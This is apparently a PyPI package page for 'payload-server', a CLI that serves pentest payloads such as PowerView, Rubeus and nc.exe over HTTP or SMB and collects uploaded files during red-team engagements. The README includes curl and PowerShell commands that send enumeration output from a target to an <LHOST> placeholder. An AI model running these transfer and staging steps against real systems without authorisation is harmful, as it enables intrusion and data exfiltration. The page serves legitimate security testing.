Skip to main content

payload-server

payload-server is a CLI for serving a local payload directory over HTTP or SMB, receiving uploaded files over HTTP, and generating copyable transfer targets during pentest and red-team workflow.

It is designed to pair cleanly with artifact-locker pull:

artifact-locker pull
payload-server linux
payload-server windows 8000 443

By default it serves ~/tools/payloads:

~/tools/payloads/
├── linux/
│   └── pspy64
└── windows/
    ├── Invoke-ConPtyShell.ps1
    ├── PowerView.ps1
    ├── Rubeus.exe
    ├── RunasCs.exe
    └── nc.exe

Uploads are stored separately under ~/tools/uploads/<mode>/<source-ip>/.

Install

Preferred:

pipx install payload-server

Upgrade:

pipx upgrade payload-server

Uninstall:

pipx uninstall payload-server

For local development:

python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -e .

Usage

Use payload-server when you want to:

  • serve a local payload directory over HTTP
  • receive files back from targets over HTTP
  • optionally expose the same directory over SMB
  • save the active serving context for follow-on commands
  • select a currently served file and copy its HTTP URL, SMB path, or local path

Serve Linux payloads over HTTP:

payload-server linux

Serve Windows payloads and write stage.ps1 into the Windows payload root:

payload-server windows 8000 443

Use SMB instead of HTTP:

payload-server windows --smb

Reuse the active serving context:

payload-server status
payload-server pick http
payload-server pick smb   # requires an active state started with --smb
payload-server pick local
payload-server pick ask

Upload examples:

curl -X POST --data-binary @/tmp/linpeas.out "http://<LHOST>:8000/upload?name=linpeas.out"
powershell -c "iwr -Method POST -InFile winpeas.out -Uri 'http://<LHOST>:8000/upload?name=winpeas.out'"

Behavior

  • Detects tun0, tun1, wg0, tap0, then eth0 for LHOST
  • Writes serving state to ~/.local/state/payload-server/state.json
  • Uses a fuzzy built-in HTTP server by default
  • Accepts uploads at /upload
  • Writes uploads outside the payload tree and groups them by source IP
  • Supports --updog and --plain-http as alternate HTTP backends
  • Uses impacket-smbserver or smbserver.py when --smb is enabled

Optional Runtime Tools

Some features depend on tools that are discovered at runtime instead of being hard install requirements:

  • rofi for interactive picking
  • wl-copy, xclip, or xsel for clipboard copy
  • tree for compact directory previews
  • updog for the alternate HTTP backend
  • impacket-smbserver or smbserver.py for SMB serving
  • ip for interface and route based LHOST detection

If those tools are absent, the related feature fails with a direct error message while the rest of the CLI remains usable.

Relationship To artifact-locker

payload-server does not ship payloads. It serves a user-managed local directory. The intended workflow is:

  1. Curate and publish with artifact-locker
  2. Pull the approved mirror locally with artifact-locker pull
  3. Serve the synced directory with payload-server

Current artifact-locker builds keep the local payload tree flat (/windows/winpeas.exe, /windows/PowerView.ps1). payload-server now treats that flat tree as the primary layout. The fuzzy server still understands older caches that used nested directories, so short paths continue to work during migration.

Tests

./scripts/test.sh

Release

./scripts/release.sh patch

Release files for payload-server 0.1.6

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for payload-server 0.1.6
File Size Uploaded
payload_server-0.1.6.tar.gz 13.9 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for payload-server 0.1.6
File Interpreter ABI Platform
payload_server-0.1.6-py3-none-any.whl Python 3 none any Details

Total release size: 25.2 kB

Release files / payload_server-0.1.6.tar.gz

Download URL payload_server-0.1.6.tar.gz
Size 13.9 kB
Tags Source
SHA-256 checksum
How to use checksums
c7ba8a5fbda09ffc6411950f3877692f0bde4826bb5f70a6003ed40852fd41a1
BLAKE2b-256 checksum
How to use checksums
fe4f5cbeb7acee7c7fce5c3b1dd360623dd06bdf7add8d55e50aed163a3566ed
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Jul 25, 2026.

Transparency log

Release files / payload_server-0.1.6-py3-none-any.whl

Download URL payload_server-0.1.6-py3-none-any.whl
Size 11.3 kB
Tags Python 3
SHA-256 checksum
How to use checksums
134ec3c5decfbf7d18f604305f0d430b1ba918d9d761aa39ecf61b024334a0fa
BLAKE2b-256 checksum
How to use checksums
2c852fea23e0238c294a50b780cd1a05448006a0db797705b8afa37c8d796829
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Jul 25, 2026.

Transparency log

Release history Release notifications | RSS feed

This release

0.1.6 This release

2 release files

0.1.5

2 release files

0.1.4

2 release files

0.1.3

2 release files

0.1.2

2 release files

0.1.1

2 release files

0.1.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page